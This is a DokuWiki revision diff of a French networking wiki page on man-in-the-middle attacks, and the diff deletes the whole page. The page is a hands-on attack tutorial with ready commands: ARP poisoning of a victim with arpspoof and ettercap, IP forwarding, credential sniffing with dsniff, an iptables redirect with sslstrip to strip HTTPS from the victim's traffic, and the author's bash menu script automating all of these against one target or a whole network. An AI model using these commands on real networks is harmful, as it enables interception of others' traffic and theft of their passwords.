Ci-dessous, les différences entre deux révisions de la page.
reseau:man_in_the_middle [2016/04/15 12:36] arkinar |
reseau:man_in_the_middle [2016/07/04 08:38] |
||
---|---|---|---|
Ligne 1: | Ligne 1: | ||
- | **Man in the Middle** | ||
- | Le MITM est une technique réseau consistant à "sniffer" une connexion réseau pour voir ce qu'il se passe dessus. | ||
- | |||
- | Pour cette technique nous aurons besoins des outils suivants : | ||
- | |||
- | - Spoofing arp : | ||
- | . arpspoof | ||
- | |||
- | . ettercap | ||
- | |||
- | - Sniffing : | ||
- | |||
- | . ettercap | ||
- | |||
- | . tcpdump | ||
- | |||
- | . dsniff | ||
- | |||
- | . sslstrip (spécialement pour le https) | ||
- | |||
- | Arpspoofing ou arp poisonning est une technique qui permet à l'attaquant de détourner des flux de communications transitant entre une machine cible et une passerelle. | ||
- | |||
- | Cette attaque utilise le protocole ARP. | ||
- | |||
- | Tout d'abord nous allons faire croire à notre victime que la passerelle a changé d'adresse mac grâce à l'outil arpspoof | ||
- | |||
- | <code>arpspoof -r -t 192.168.1.10 192.168.1.1 -i wlan0</code> | ||
- | |||
- | L'option : -r sert à empoisonner la cible pour récupérer le trafic entrant et sortant | ||
- | |||
- | L'option : -t sert à désigner la cible | ||
- | |||
- | 192.168.1.10 est l'adresse ip de la victime | ||
- | |||
- | 192.168.1.1 est l'adresse de la passerelle | ||
- | |||
- | wlan0 notre interface réseau | ||
- | |||
- | {{ :reseau:arpspoof.png?nolink |}} | ||
- | |||
- | Activez l'ip forwarding sinon votre cible sera déconnectée d'internet | ||
- | |||
- | <code>echo 1 > /proc/sys/net/ipv4/ip_forward</code> | ||
- | |||
- | A partir de cet instant tout le traffic de la victime transite par votre machine. | ||
- | |||
- | Plusieurs outils s'offrent à vous : | ||
- | |||
- | - Dsniff va vous afficher uniquement les identifiants des authentifications des protocoles non chiffrés (http , ftp , telnet...) | ||
- | |||
- | - Ettercap et tcpdump capturent tous les paquets, suivant les filtres que vous mettrez vous aurez des résultats différents. | ||
- | |||
- | Exemple avec Dsniff : | ||
- | |||
- | <code>Dsniff -i interface</code> | ||
- | |||
- | Exemple avec Ettercap en ligne de commande : | ||
- | |||
- | <code>ettercap -T -M ARP -q /ip_cible/ // -i interface</code> | ||
- | |||
- | L'option -T permet d'utiliser ettercap en ligne de commande | ||
- | |||
- | L'option -M signifie MITM avec ARP | ||
- | |||
- | L'option -q permet de diminuer la verbosité | ||
- | |||
- | Attention si vous utilisez ettercap assurez vous que les lignes suivantes soit décommentées dans le fichier /etc/ettercap/etter.conf | ||
- | <code> | ||
- | # if you use iptables: | ||
- | |||
- | redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" | ||
- | |||
- | redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" | ||
- | </code> | ||
- | |||
- | L'outil SSLSTRIP : est un outil qui permet de forcer la connexion de la victime à passer de l'HTTPS à l'HTTP si le site le permet. | ||
- | |||
- | Contrairement à d'autres outils tels que mitmproxy ou ettercap , sslstrip ne crée pas de faux certificats -> pas de message d'erreur pour la victime. | ||
- | |||
- | **Utilisation :** | ||
- | |||
- | Il faut tout d'abord créer une règle iptable pour laisser passer le traffic. | ||
- | |||
- | Par défaut sslstrip utilise le port 10 000. Nous utiliserons le 15 000. | ||
- | |||
- | <code>iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 15000</code> | ||
- | |||
- | <code>sslstrip -w log.txt -a -l 15000 -f</code> | ||
- | |||
- | L'option -w permet de logger toutes les informations dans un fichier | ||
- | |||
- | L'option -a permet de dire logger tout le traffic | ||
- | |||
- | L'option -l permet de choisir le port (dans notre cas 15 000) | ||
- | |||
- | L'option -f permet d''afficher le favicone cadenas sur la page de la victime. | ||
- | |||
- | Voici un petit outil développé par mes soins pour automatiser ce genre d'action : | ||
- | |||
- | <code> | ||
- | echo "#################################" | ||
- | echo "# Programme de MITM automatique #" | ||
- | echo "#################################" | ||
- | echo "Entrez l'interface sur laquel vous voulez faire le MTIM :" | ||
- | read interface | ||
- | |||
- | echo 1 > /proc/sys/net/ipv4/ip_forward | ||
- | |||
- | mon_ip=`ifconfig $interface | grep ' inet adr' | cut -d : -f2 | awk '{print $1}'` | ||
- | passerelle=`route -n | egrep "^0.0.0.0 +[[:digit:].]+ +0.0.0.0" | awk '{print $2}'` | ||
- | |||
- | Ps3="Que voulez vous ? " | ||
- | select choix in \ | ||
- | "Spoofing arp pour tous le monde" \ | ||
- | "Spoofing arp pour une seul personne " \ | ||
- | "Sniffer les mots de passe ettercap" \ | ||
- | "Sniffer les mots de passe dsniff" \ | ||
- | "SSLSTRIP" \ | ||
- | "Mon ip " \ | ||
- | "Ma passerelle " \ | ||
- | "Commande systeme " \ | ||
- | "Quitter" | ||
- | do | ||
- | case $REPLY in | ||
- | 1) echo "Arpspoof pour tous" ; ettercap -T -M ARP -q // // -i $interface >> arp.txt & ;; | ||
- | 2) echo "Entrez l'ip de la victime "; read ip_victime ;arpspoof -i $interface -r -t $ip_victime $passerelle &;; | ||
- | 3) ettercap -T -q -i $interface | grep 'http' &;; | ||
- | 4) dsniff -i $interface -w dpass.txt & ;; | ||
- | 5) sslstrip -w log.txt -a -l 15000 -f & ;; | ||
- | 6) echo $mon_ip;; | ||
- | 7) echo $passerelle;; | ||
- | 8) echo " Commande systeme :"; read cmd ; $cmd;; | ||
- | 9) echo "On abandonne ..." | ||
- | break ;; | ||
- | *) echo "Choix invalide" ;; | ||
- | esac | ||
- | done | ||
- | </code> |